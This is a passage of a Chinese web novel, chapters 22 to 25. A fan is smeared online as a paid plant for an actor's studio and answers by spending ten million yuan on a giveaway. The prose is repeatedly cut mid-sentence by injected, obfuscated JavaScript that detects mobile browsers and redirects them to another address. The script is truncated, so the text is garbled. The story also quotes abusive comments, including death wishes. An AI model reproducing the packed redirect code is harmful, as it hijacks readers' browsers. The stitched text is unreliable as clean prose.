RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012349|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又无法洗脱他的嫌疑。 造成这种现状，很大程度就在于三方都在和稀泥。 公司只发声明不告黑，赵恒自己隐身当了哑巴。 他前经纪人出来发了个视频说明情况之后就消失了，而他前女友虽说已经报警，却迟迟没有后续，既没有拿出证据证明他真的找人羞辱了她，也没有证据证明他真的曾经虐猫杀猫。 脱粉回踩的人虽然不在少数，但还有大粉仍在观望，就连站姐们也保持了非常一致的沉默。 三方僵持，生出一种微妙的平衡。 凌钰的第六感却告诉她，有时候不在沉默中爆发就在沉默中死亡，这一回赵恒要么一步登天，要么恐怕得坠入地狱了。 后台里的评论转发点赞私信不少，凌钰还没细看就想起有件事被她忙忘了。 搜索【家园小助手】，点了关注，她才重新返回自己的消息页面。除了日常的互动和一些不明人士的谩骂，以及几条关于她为什么没买ME衣服的质疑，并没有太多特别的。 活动现场她只说了自己姓“凌”，并没有提自己的微博号，【我来追星了】这种已经有了几分名气的氪金粉一直不晒单，自然少不了网络喷子们的刻意找茬。 凌钰看见了也当没看见，倒是后援会一大早又发了两条私信来。 “姐妹，在不？” “昨天活动你登台之后说愿望，只提了买东西送人，工作室那边的意思，嘉远还是想让我们再问问有没有别的想要的，因为那天抽最后一个奖的时候你好像身体不大舒服，要是有需要帮忙的地方一定要说哦。” 发来这个消息的时候，聂嘉远应该已经进组了。 新剧是根据一部小说改编的武侠探案剧，算是个大IP，刚才超话里已经有人发了他上班的照片。这人忙得跟陀螺似的，倒还记得她这点小事。 凌钰想了想，当时的确情况紧急，后来任务完成后人又太多，想说的话也就没能说出口，至于身体嘛—— 她编辑回复道：“我没事哦，就是老毛病。至于想要的，还跟之前一样，我只要聂嘉远谨言慎行遵纪守法，不要塌房。” 对方很快发来一个表情包：“[好的]。” 按摩椅的力道逐渐加强，又趋于平缓，身体的舒适让人的意识也跟着逐渐放松，凌钰又随意刷了会儿首页，越看越累，到最后迷迷瞪瞪也进入了梦乡，直到听见有人在旁边轻声喊她，她才猛地睁开眼。 工作人员笑眯眯地道：“车辆的手续都给您办理好了哦，这边我们会派人带您去办理年检并挑选车牌，请跟我们来。” 等终于把所有需要的东西全部办完，都已经过了饭点。 孙致容和周哥本来想着在4S店随便蹭顿饭就好，但凌钰才刚把车停好，就一眼就看到了同样回来准备蹭饭的许君。 三人对视一眼，立马重新上车，掉头就走。 两辆车一前一后驶远，站在广场上的许君有些奇怪地“咦”了一声：“我看错了吗？感觉开那辆小车的像凌钰嘛……” 他不解地挠头道：“还真买了两辆车？我来问问陈桦。” 22.第 22 章 因为凌钰的开车水平有限，他们也没去太远的地方，而是就近找了家面馆填饱肚子，又让周哥陪同协助练了一下午的技术才准备返程。 郊区路宽车少倒还好，城区路窄车多，本着对自己负责更对别人负责的态度，凌钰没敢随意上路冒这个险，到傍晚时分还是先把车停回家楼下，让周哥当了司机，三个人一辆车重新出门。 好在她租的房子本来就不是什么高级楼盘，车子随便停，倒是十分方便。 孙致容坐在副驾上，摸着座下的真皮座椅，到这会儿还觉得自己在做梦。 “居然真买了车，谁能想到呢？当年我那辆车都没写自己的名字，现在这辆却写了，呜呜呜，这就是靠天靠地靠自己不如靠闺蜜吗？我跟你说啊，晚上这顿必须我请客，你不许再跟我抢！” 凌钰哈哈一笑，靠在后座上道：“行，今晚全靠你。” T市美食不少，国贸内大多以食材高端服务精细价格昂贵而闻名，但真要论口味却未必就能排得上号，再加上孙致容毕竟经济条件有限，也就不非要追求奢侈，只在附近的百里汇顶格挑了一家雪花牛肉火锅。 一人一个电炉小锅，用海鲜汤做底，秘制酱料做蘸，雪花牛肉被片得很薄，热气袅袅，只要烫上几秒在蘸酱内一滚就可以吃，口感非常好。 凌钰连吃了七八片肉，才微微缓过神：“练车还真是累人，比我昨天见到聂嘉远上台互动还紧张，生疏了，实在生疏了……” 孙致容却如鱼得水：“虽然今天我开得少，不过本人技术还算不错。没事，反正只要你需要，只要我们有空，肯定都能陪你，到时候我们负责开车，你负责坐车就好。” 一旁的周哥连连点头。 虽然是三个人吃饭，不过周哥一般不加入谈话，很快饭桌上就只剩下凌钰和孙致容的声音。 孙致容正在感慨。 “以前就听你说过你们公司的同事，不过当时你不大乐意出门，难得出门又是去参加林业的线下活动，我还真是头一次见到他们。本来以为陈桦那两位已经够离谱了，谁知道更离谱的还在后面。” “这姓许的，我也是开了眼。好在我们部门没这种人，比起关心别人的生活，他们更专注于自己，我之前房子车子都卖了，也没人问一句。虽然有冷血的嫌疑，但也不至于让人讨厌。” 凌钰边听她说边夹了只大虾进锅：“怎么说呢，还是不够忙闲的。” 她笑着抬头道：“你们每天忙自己的工作就已经团团转，哪还有空管别人的事？可我们不一样，一个部门十几个人，有人忙得像狗，有人闲到发霉。” “陈桦和张小洁就相对比较闲，每天没事干可不就得蛐蛐别人？还有更闲的，一周也未必来上一次班，她俩之前看不惯，还到处说那是老总包的小三，后来听说是老总的亲妹妹，只是来体验生活的，才吓得不敢吭声了。” “至于许君嘛，他平时很多工作都安排给别人做了，自己没事还炒炒股玩玩手机，又有人愿意到他面前嚼舌头，难免是非多。” 凌钰把煮熟的大虾夹起来剥了壳。 “其实说真的，以前我都担心这公司做不长久，不过目前看来老总家大业大还是能撑着的，至少现在还能发得起许君百万年薪，就是不知道以后会怎么样。” 孙致容一听就哈哈笑起来：“管他咋样，就算倒闭也跟你没关系了，谁让他们一点解释的机会都不给你就直接把你给开除了。不过这样也好，奇葩那么多，确实不稳当。” “奇葩是真不少啊……”一直没开口的周哥忽然冒出一句。 孙致容奇怪道：“咋了，还有谁奇葩？” “这个啊，”周哥正在刷手机，闻言抬起头调转屏幕给她们看，“这个赵恒的前女友，前两天不是一直爆料赵恒嘛，刚才突然发了条微博，说之前之所以一直咬着赵恒不放，是因为他俩吵了架，自己气昏了头才乱说了不少话。” “当时的监控里是说了什么十个男人，但对方只是口头威胁，并没有真的这么干。至于虐猫杀猫，也是她为了让大家更厌恶这个人，想要让他退圈有更多的时间陪伴自己，才故意编造的故事。” “总之一句话，赵恒是无辜的。” 这下别说凌钰，就连孙致容都无语了：“什么玩意？！” 凌钰凑近简单看了两眼，打开自己手机，果然微博上又炸开了锅。 这次赵恒的前女友没有再用视频发声，而是发了很长的一条文字博。从两人相识相爱相知开始忆往昔，到后来如何为梦想挣扎徘徊，再因为赵恒工作繁忙聚少离多生出隔阂，最后说自己确实是因为一己之私污蔑了对方。 她还深爱这个人，原本以为只要阻碍了他的事业和前程，他就会有更多的时间陪自己，却没想到这一举动并没有得到想要的结果，而是把对方越推越远。 这几天网上纷争不断，她也后悔莫及，如今“早已不求原谅，只想在这段关系的最后把真实的一切公之于众”…… 耐着性子艰难看完全篇文章的凌钰心里只剩下两个字：无语。 这条微博早已挂在热搜榜一，下面的评论可以说非常精彩。 有吃瓜群众的激情辱骂。 【你们两口子是有什么毛病吗？把广大网友当傻子耍很有意思？说自己被十个男人糟蹋的也是你，说根本没这事的也是你，说他虐猫杀猫的是你，说他没做过的也是你，撒谎成瘾你哪句话能信？】 【前两天还真情实感地同情你，结果你现在告诉我全是假的？你是有什么病吗？有病去看医生行不行，广大网友是犯了什么滔天大罪吗要看你俩搁这发癫？】 【实在不行找个班上吧，天天待在家是会精神分裂的。】 【我还是建议你俩别分手，就给我牢牢锁死好吗？他都说了要找十个男人了，你现在居然替他澄清那只是气话。哪个正常男人会对自己女朋友说这种气话啊？我真特么服了。】 【一个人上网好无助啊，巴掌又伸不进屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027131|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕里。】 有逐条分析的理性派。 【这是自己发的吗？之前爆料发的都是露脸视频，怎么这回全是文字编辑的了，不会是被控制了吧？别怪我阴谋论，现在什么都有可能，或者说是价钱谈拢了？】 【前女友爆料，前女友澄清，不会以为这事就结束了吧？他动手打前经纪人这事可是板上钉钉的，暴力狂还混娱乐圈？早点滚出好吗？】 【我也觉得这态度怪怪的，不做评价，坐等反转。】 当然，更多则是恒星们如同海浪般疯狂的反扑。 【姐妹，你有事吗？有你这样的嫂子可真是我们的福气，从你爆料到现在几天了，你自己数数？这么多天赵恒所有的工作被停，代言全掉，正在播出的剧差点被拦腰砍断，离从娱乐圈消失就剩下一步之遥，你现在说全是你编的！】 【得不到的不要强求懂不懂？为了自己的私心，连十个男人侮辱你这种事你都敢编，还说自己报了警，报假警是犯法的懂吗？为什么不早点去死啊你？这种造谣博眼球的玩意还不处理吗？】 【想红想疯了，也不看看自己是什么货色！跳梁小丑蹦哒了这么多天都没得到一点回应，这是终于撑不住了？傻逼玩意，早晚让你进大牢！】 【@花香娱乐@花香娱乐@花香娱乐，这还不告？拿钱不办事你倒闭了！】 【我就知道我们恒恒是无辜的，他不发声，不过是给你留最后一点体面罢了，谁知道你不仅毫不收敛，还来劲了。难怪这些天让你拿实锤你就是拿不出来，原来根本没有实锤，全他妈是你一张嘴编的。你妈死了。】 凌钰返回主页又刷新了一下，赵恒相关广场的风向明显变了。 被压着打的众多恒星终于找到了突破。 【就算赵恒确实做错了一些事，可那个前经纪人为什么被打，不是因为他自作主张搞到了聂嘉远的私人信息吗？赵恒是看不下去才动了手，这不正说明了他是有正义之心的？为什么现在还在骂他啊？】 【聂嘉远的事归根到底和赵恒无关，一堆跑来骂赵恒的家园是不是该说一声道歉？冤有头债有主，该找谁找谁去好吗？】 【还在阴阳怪气的家园有事吗？丑聂究竟是什么人不用我们多说吧，昨天他那场活动可没少闹笑话，媚粉到这种程度真让人笑掉大牙。还有那些现场找去的演员，拜托，公司找第三方应援花了不少钱吧？】 【还有人不知道吗？上台买衣服抽奖的那位，已经实锤了和聂嘉远工作室有关系，什么氪金粉？不过是个工作都没了的穷光蛋，哪来十万买衣服抽奖送人？还不是工作室找来的演员。】 凌钰的视线落在这最后一条，半天没回过神。 她是被工作室找去的演员？哪来的实锤，为什么她自己都不知道？ 正准备和孙致容吐槽两句，她退出话题再次刷新热搜，就发现榜单上除了赵恒和聂嘉远相关的话题，还有一个话题冲上了热搜—— #凌钰聂嘉远#。 23.第 23 章 凌钰的第一反应，就是觉得有个和她同名同姓的人。 等点进去再看，才发现这一回她吃瓜竟然吃到了自己身上。 热搜前排是一条红V的营销号，无论是点赞评论还是转发，数据都已经非常惊人。 【@内娱吃瓜群众：#凌钰聂嘉远#网友爆料，原来豪掷十万的氪金粉居然是聂嘉远工作室花钱找来的演员？所谓的十万消费也是工作室补贴？大家来看看，觉得可信吗？】 很简单的一句文案下方配了好几张图，凌钰一一点开去看，发现是几张所谓的“网友爆料”，原博的昵称已经被打过码，不过内容倒是很清晰。 最上方是一条带着聂嘉远活动直播画面截图的微博—— 【我没看错这就是凌钰，难怪说找到了好工作有了钱，原来真是当了聂嘉远身边的演员！真够离谱的，辛辛苦苦的打工人每天朝九晚五，花点钱都要算着用，她不过攀上个明星，立刻就鱼跃龙门了。】 下面一堆评论和转发。 【哈哈哈哈哈哈哈笑死，聂嘉远粉丝还在拼命洗白说不是演员，结果这演员被认识的熟人爆料了，这还能洗？数据造假就是造假，怎么洗也洗不掉的。】 【赵恒那个前经纪人不会也是被聂嘉远收买了吧？还说我们赵恒数据造假，造假的人明明在这啊！家园们想不到吧，你们哥哥花钱雇粉诶。不会是因为那个买杂志抽奖的粉丝没钱了，或者脱粉了，工作室就出了个馊点子，找人来复刻吧？】 【复刻的话也太抠搜了，之前那位粉丝不是花了三百万买杂志吗？ME怎么也算是个奢侈品牌，丑聂就舍得花了十万块买东西送，不觉得寒酸吗？】 【最关键还专门买了条热搜，词条是什么来着？哦，聂嘉远粉丝活动现场豪掷十万！豪掷！我真的笑死！】 【哈哈哈哈哈楼上的那位说抽奖送东西的姐妹真单纯，被送的那几位也是演员吧！】 【你别说，你还真别说！他们心心念念的氪金大粉这次真的一点反应都没有诶，之前不都是一官宣就氪金抽奖的吗？这是工作室装不下去了？说实话，我连那位的真实性都觉得有待考证。】 【博主快说说啊，为什么确定这凌钰肯定是演员？】 这条之后，好几张截图都是很详细的回答内容。 【这人我认识，不说对她非常了解，至少也是知道大概情况的。她不是我们T市本地人，从小在乡下长大，大学毕业之后找了一家本地公司就业，前段时间她因为突然无故旷工才刚被辞退。】 【她平时生活非常朴素，住的是靠近公司租的房子，算是老破小，吃的是公司食堂最便宜的套餐，据我们观察，她几乎不点外卖，就连喝咖啡也都是最便宜的速溶。公司聚餐她都不怎么去，难得出门吃饭，连奶茶也很少喝。】 【前段时间就听说她突然有了钱，我们都觉得很奇怪，没想到她竟然真的找了份好工作。就我们所知道的，她被辞退之后的第一个月就赚到了上百万，我实在想不到还有什么比娱乐圈更赚钱的工作！】 【而且她这个人非常抠门，让她自己花钱买东西送人是绝对不可能的。所以所谓的十万块，我觉得还是明星公司给的钱，不然她为什么光抽奖送人，都不给自己买？】 【最关键的是，这次我在聂嘉远的活动现场看到她坐在第一排，这完全没道理。我可以保证，她的偶像绝对不是聂嘉远，就我们所知道的，她至少当了林业十年的粉丝，花的每一分追星的钱都是为了林业，从来没有变过！】 截图到此为止，那条帖子本身就已经有不少热度，被营销号搬运之后，更像在滚烫的油锅里倒了水，彻底炸了开来。 赵恒的粉丝在底下狂欢，当然也有家园试图解释，却很快就被淹没在评论的浪潮中。 凌钰的脑中霎时间想起好几个人，嫌疑最大的当然是陈桦和张小洁，但这两位也追星，就算爆料也不太可能用这种直接写大名的方式，更有可能拐弯抹角地让大家猜，或者干脆直接放料给营销号。 除了她们，前公司当然还有不少人选。 看到从前过得不如意的同事突然毫不费力的飞黄腾达，自己得不到就也不想让别人得到，是有些人能做出来的事。 至于许君嘛，倒是最不可能的一个。 他这个人爹癌晚期自认高贵，从来不看微博，连这个app都没有。 脑中一张张熟悉或不熟悉的脸飞速闪过，凌钰还在愣神，对面的孙致容和周哥显然也刷到了热搜，顿时震惊地差点没站起身。 “妈呀，你怎么和你偶像一起上热搜了？不过这帮人什么意思啊，这算不算是造谣了，还曝光素人信息，这是哪个大聪明啊居然干这种事，虽然不知道具体是谁，但不用猜肯定又是你那个前公司的人。” 确实。 凌钰翻开自己很久没再细看的微信，找到了曾经的“工作”分组，里面安安静静躺着十几个号。 看似联系方式很全，但其实里面有八个单方面拉黑了她，另外三个单方面删除了她，唯一剩下的反倒是那位老总的妹妹。 这位小富婆体验完生活就忙着满世界吃喝玩乐，才不管部门里谁来谁走谁有钱谁没钱，最新一条朋友圈是昨天才刚发的，拍的是张最新款的奢侈品包，背景也非常豪华，一看就是很贵的样子。 凌钰放下手机，又吃了块牛肉。 在最初的心慌之后，反倒慢慢冷静下来。 她不过是个再平凡不过的素人，昨天活动直播时花钱抽奖送人都没有掀起太大的风浪，可见这件事本身并不值得关注。而且就营销号截图的帖子来看，原博是当天下午发出来的，爆料内容虽然有热度，也只是小范围传播。 此人最大的不满分明在于自己辛辛苦苦工作却要省着用，而凌钰则可以轻轻松松赚大钱。但隔了一整天，在赵恒前女友发声之后突然上的这个热搜，意义却完全变了，矛盾也完全被转移。 从对凌钰的不满，变成了对聂嘉远和聂嘉远工作室的嘲讽和指责。从对凌钰新工作的怀疑和猜测，变成了笃定的所谓“实锤”。 为什么？因为营销号特意设置了#凌钰聂嘉远#的话题推波助澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031751|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，故意截了有明确指向的内容，引导了赵恒粉丝的内部狂欢和对聂嘉远的肆意谩骂。 这个时候想私下去查罪魁祸首既不容易也毫无意义，凌钰默默地摩挲着手机，与其把希望放在别人身上，不如自己想想该如何解决问题。 只是这种时候，她不管说什么都可能会引来更多恶意，实在不宜轻举妄动。 重新点进微博，热搜榜上的内容又换了。 除了赵恒相关，还多出了好几条聂嘉远的词条—— #林业聂嘉远氪金粉# #聂嘉远雇粉# #聂嘉远粉丝豪掷十万造假# #林业聂嘉远# 凌钰直觉不对，果然看到一窝蜂的吃瓜群众涌来。 【我去！什么劲爆消息啊？聂嘉远的氪金粉居然是林业的粉丝？不是，林业都塌成那样了，她的粉丝还能有钱追别人？反正我是不信的，当时他那个基金，他的死忠粉可都买了，最后全都血本无归，有人都跳楼了啊！】 【聂嘉远不至于吧，究竟在搞什么？你就算雇粉也看看人吧，为什么要雇林业的粉丝啊？不怕晦气吗？】 【救命，《凤凰记》还能播完吗？瑟瑟发抖。这次同档期的两部电视剧怎么回事啊？男主角一个比一个离谱，救命，同情和他们搭档的美女，美女实惨。】 【艹！不会吧，我前两天还买了他的杂志，能不能退啊？】 【两个都讨厌，聂嘉远不是什么好东西，赵恒更不是什么好东西，一起滚出娱乐圈是最好，烦死了，天天打开微博就是这些有的没的，能不能好好关注下社会新闻啊？粉丝也有病。】 【拜托，楼上没事吧？跟赵恒有什么关系，赵恒没惹，抱走赵恒。】 孙致容和周哥都已经停下筷子在认真查看情况。 “妈呀，怎么突然就骂起来了？这帮网友也是神奇，随随便便就能被人牵着鼻子走，别人说啥就是啥，他们都不认识你，也不知道爆料的人究竟是谁，就能无条件相信人家说的是真的。” 孙致容越看越觉得不对劲：“这是赵恒公司下场控制舆论了吧？他身后那人可有不少营销号。” 凌钰也皱了眉，再这样下去，舆论对聂嘉远也太不利了。 他今天进组，估计到现在还忙着拍戏呢，而且别看他最近还挺红火，可其实说到底也还只是上升期的艺人，工作室也还不是那么专业——看他们到现在还没反应，就知道工作人员估计自己也很慌。 凌钰点开后援会的对话框，打算先问问情况。 刚准备编辑文字，没想到下一秒，手机突然疯狂震动！ 【识人】app像是触电般，以某种前所未有的速度跳出了无数条提示。 最新任务：本次解锁资金10000000元，请于1小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 多少？ 一二三四五六七，七个零。 一千万？ 救命。 24.第 24 章 孙致容还在念叨：“终于知道为什么网上是非多什么都能杠了，有时候你真的理解不了有些人的脑回路。你看这下面吵的，每一句都很匪夷所思。” “这条说粉随正主，粉了林业的能是什么好人？”孙致容边读边无语，“不是，粉随正主也不是这么绝对的啊！他是法制咖他的粉丝就全是法制咖？他当年那么多粉丝呢！每一个都不是好人？” “还有这条，说难怪你在台上看到聂嘉远一点都不激动，原来根本不是粉丝，”她吐槽，“怎么的，一定要像她们那帮恒星看到赵恒，激动到两眼一翻当场晕厥才叫粉丝？” 这话有点滑稽。 凌钰才刚生出的些许焦虑都被硬生生打散，差点没笑出声。 《龙吟》播出之前，剧组曾经搞了个线下活动，现场一开始倒还算正常，可到了互动环节，有几个恒星见到赵恒之后也不知是太兴奋还是被挤得缺氧，也或者那才是演员，总之还没说两句话就直接昏了过去，当时还上了新闻。 恒星们不以为耻引以为傲，到处扩散恨不能代替晕倒的那几位，就因为她们都或多或少被赵恒扶了一把，却不知大多数追星人对此都嗤之以鼻，就吃瓜路人也嘲笑他们家真的有点疯魔。 只不过，现在都不是计较这些的时候了。 “他们有病。”手机的倒计时已经启动，凌钰简单总结之后就抬起头直奔主题：“我们从这儿去国贸，开车大概要多久？” 百里汇也是市中心，离国贸并不算太远，只是今天毕竟是周末，这会儿又是饭点，路上难免堵车。周哥稍微想了想，保守估计：“快的话十分钟，最慢应该也就二十分钟吧，肯定能到了。” 凌钰点头，看来可行：“那咱们现在就去国贸。” 孙致容有点奇怪，但听到这话还是立刻掏出了手机，边结账边问：“你刚才不是还说要先处理一下网上这些事的吗，怎么突然又要去国贸了，这个点去国贸要干啥啊？” 凌钰站起身来：“去国贸，先消费个一千万。” “哦，消费，”孙致容点点头，又突然愣在那，“多少？” * 一千万，和之前那些任务相比可绝对不是个小数目。 对于凌钰这样急用钱的人而言，其实买杂志寄给后援会仓库才是最方便的，可现在杂志早已下架过了销售期，而聂嘉远剩下的商务中，ME无疑是最佳选择。 只是这种奢侈品牌，线上商品普遍没有线下全，至少凌钰知道的，ME官网那些衣服均价也才一两万，还大部分都显示缺货，而很多定制款限量款的服饰就只有门店才有。 一千万，与其靠自己没头苍蝇似的去凑，不如直接去国贸扫货。 况且这一回她除了买东西，可能还需要让品牌方彻底做实自己VIP的身份，以此来解决目前网络上出现的危机。 说到底，都怪系统误她！ 要不是昨天活动现场发布任务，她哪至于惹出这么多事端？到了如今想要逃避已经不可能，只有勇敢面对了。 虽然是饭点，但周哥开车技术确实不错，紧赶慢赶差不多十五分钟左右也就到了国贸。凌钰趁路上的时间紧急联系了一下后援会，确定了方案可行，这才安安稳稳往ME门店走去。 这时候，先前露过脸的好处就显示出来了。 门店的工作人员一眼就把她给认了出来，非常热情地将两个人迎了进去。 虽说ME已经是国内排的上号的奢侈品，不过到底还不是世界级顶奢，作为主营服饰的店铺，凌钰在对方的陪同下大概转了一圈，入眼所见比较高端些的还是大衣和羽绒服。 可即便高端，其中最贵的一件标价也才三十几万，至于包嘛，更是只有二十万出头。 离一千万的档次差得可太远了！ 孙致容并不知道她的消费真有指标，这会儿正兴致勃勃地到处溜达着乱看，又跑来小声嘀咕：“确实贵，难怪你要说一千万这么大的虚拟数字，要是换成一万一百万的，恐怕还真不够这个档次。” 什么虚拟数字？ 凌钰微微一愣，半天才反应过来她说的是什么。 难怪刚才听到“一千万”，孙致容只是惊讶了一会儿就恢复了平静，就连周哥一路上也没再提，原来以为她是随口编的！ 手机上的倒计时正一分一秒的过去，凌钰转过头看了眼孙致容略显天真呆萌的脸，而后默默回身，对着还要继续介绍的工作人员道：“这样吧，你就说你们店最贵的那一款多少钱？” 工作人员稍顿，很快道：“目前最贵的是明年春季即将开售的一款限量款大衣，市面上还没货，但如果您需要我们可以为您去总部调，售价两百五十万。” 两百五十万，那也不够啊。 而且既然是限量又还没开售的新款，现货通常都非常稀缺，就算能调也不可能一下子调出好几件。 凌钰坐在沙发上想了半天，终于装都不装，在孙致容瞠目结舌的表情中露出了一种类似于暴发户的嘴脸：“不管是什么吧，总归一千万，你帮我把货配齐，我现在就要，如果没有现货也行，你给我拿个能解决的方案。” “……”工作人员没有无语，无语的是孙致容。 直到那边店员满脸是笑地走远，她才瞪着眼睛压低声音凑过来：“什么东西啊？你真要花一千万！我刚才还以为你是开玩笑的，不是，就算要打翻身仗也不至于花这么多啊，一千万都能在市区买套房装修好了！” “问题不大。”凌钰抬手拍了拍她。 那边店员很快打了电话，没过多久，之前曾经见过一面的店长从里面走了出来：“凌小姐，又见面了，不好意思让您久等了。” 说话的工夫，已经有人又准备了些甜点送上来。 凌钰看了一眼，有提拉米苏，有草莓小蛋糕，还有奶茶咖啡和水果茶。要不是刚才小火锅吃得够饱，她多少得尝两口。 一旁的孙致容要了杯果茶，凌钰则摆手拒绝了对方的服务，听店长道：“您这边的情况我大概已经了解了，您看这样行不行，我们这边平板上有ME全部的款式和价格，您可以先在上面挑选，选中之后我们帮您订货。” “您付款之后，要是觉得不放心的话，我们这边呢会给您出具一个店铺的证明，只要一到货您就可以凭证明来将商品取走，如何？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037002|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对你们能有什么不放心的？”凌钰摇头道，“只是我得现在就在微博上抽奖送人，如果可以，能让中奖人直接来领吗？当然最好是可以由你们直接负责邮寄给对方。” 店长听罢，“哦”了一声：“这完全没问题，或者您让对方也关注我们门店的微博，到时候把中奖信息私信发给我们就好。” ME的品牌有官博，国贸的门店也有自己的官博，她自己都还没提，对方就先想到了，这倒是意外之喜。 凌钰没再犹豫，很快挑了其中最贵的几样，凑满了一千万扫脸支付成功，接着打开微博按照固定格式编辑文案发送。 【@我来追星了：#聂嘉远#njy#凌钰聂嘉远# 听说我没钱了？买了点ME的东西抽奖送同担，条件和之前一样，二十分钟之后开奖，中奖者可直接将后台中奖消息截图和地址发给@国贸ME，届时由门店与本人提供的中奖名单核对后，直接将中奖物品邮寄到您家，谢谢！ @聂嘉远】 下方配了六张照片，都是直接拍的平板上的内容。 一件淡棕色大衣两百五十万，一件黑色大衣一百八十万，之后的几样东西也都在一百万到五十万不等。 微博才一发出，就收到了无数条回复。 凌钰还没来得及看，就听店长有些吃惊道：“您就是这个【我来追星了】？那可真是久仰大名。” “你们也看了热搜吧，不得不说你们职业素养是真高，一点儿都没表现出来，”凌钰笑着站起身来，“微博后台二十分钟之后就能出结果，到时候我把中奖截图先发你们官博一份，你们根据名单核对吧。” 商议已定，却不能白来。 凌钰想了想，还是拉着孙致容又在店里转了一圈，各自买了两套衣服，就连听完车后来才到的周哥都拗不过，挑了款相对便宜的手提包。 这边还在继续消费的当儿，那边本来就已经热度升腾的话题再次火上浇油。 家园们扬眉吐气，恒星们则不屑一顾，震惊感慨和阴阳怪气齐飞，可以说非常精彩。 【是谁啊一直说我家氪金粉没钱了，追星姐牛逼，追星姐yyds，要么不干，要干就干了票大的。我刚算了一下，这一堆东西加起来整整一千万，这是什么天文数字？】 【一千万，我连做梦都不敢想，也不指望能抽中，重在参与做个分母吧。】 【什么粉丝这么牛，可以直接跟门店微博互动啊，这是我这辈子都达不到的高度。就问，有这样的粉丝，聂嘉远怎么可能会去雇粉？再说了，她们家真的以为品牌方就是傻子吗？】 【跟暴力狂家的粉丝说不了一点。】 【丑聂的粉丝是认真的吗？这就吹上了？微博发了半天，人家门店官博理她了吗？还有谁家抽奖用的是广告图啊我真特么服了。】 【装！继续装！装逼也不怕翻车，真的笑死，丑聂是生怕自己这个笑话闹得还不够大啊！这种虚假抽奖怎么敢的，到时候人收不到东西可以报警的吧？丑聂的粉丝是真不怕死。】 也不知是热度真的太高还是如何，很快，#我来追星了聂嘉远#的词条就空降热一，彻底爆了。 25.第 25 章 谁都想自己能拥有氪金粉，谁都不想让自己的氪金粉被别人盯上，再加上某种意识形态的约束，以及对铺张浪费之类炫富行为的争议，各家对粉丝花钱这件事通常会炫耀，又不会太过炫耀。 而在保护自家粉丝的同时，大家又十分忌惮对家的氪金粉，毕竟是资本市场，那种特别能花钱的粉丝还是会为代言人提高一定的商业价值。 内娱饭圈有钱人众多，其实别说花一千万，就是花几千万上亿去支持自己偶像的也照样不少，却从来没有被挂上热搜的。 粉丝毕竟是素人，如果一有风吹草动就上热搜，以后谁还敢随便追星？ 这是几乎约定俗成的规矩。 但就是这么古怪，凌钰这条微博偏偏几分钟内空降微博榜首，而且有越来越爆的趋势。 好不容易买完东西重新坐下，凌钰打开手机，才发现网上已经乱成了一锅粥。 广场上的恒星们简直欢呼雀跃。 【这究竟是粉丝还是黑粉啊？之前我们还怀疑这也是工作室安排的人，现在一看，这根本就不是啊，这是个装逼粉吧？丑聂家究竟还要闹多大的笑话啊？】 【一个是假粉，一个是‘假’粉，一个靠工作室装，一个靠发癫装，两人的共同点就是都穷哈哈哈哈！就这还谈商业价值？我看丑聂的粉丝才是真想让他死，ME还不发声明吗？这代言人太可笑了吧？拉低档次啦！】 【为什么有人会直接拍平板上的照片就说自己买了啊？我真的想不通，不会中奖人到时候人手一张打印的照片吧我去！】 【笑死，你看她只敢艾特国贸ME，她都不敢艾特ME官方微博，你不敢我来帮你啊！@ME官方@ME官方@ME官方这里有人虚假抽奖诶！】 孙致容靠在沙发上，显然也看到了相关内容，不一会就气得坐直了身子：“赵恒这帮粉丝有病吧！为什么不专注自家啊，非要跟你过不去，什么虚假抽奖？再说了你就是凌钰，凌钰就是你，她们知道个屁！” “你一个素人，刚才就上过热搜，这回居然微博号直接热一了，要说这里面没有赵恒公司的推波助澜，我现在就把自己给吃了！” “真是气死我了！”她咬牙切齿骂了半天，忽然奇怪地回头，“你怎么都不生气？” 凌钰也要了杯果茶，先喝了一口才老神在在地道：“不生气啊，我有什么好生气的？我现在巴不得他们添油加醋地瞎折腾，要是不折腾，一会儿反转打脸的时候还怎么让他们觉得疼？” 她笑了笑。 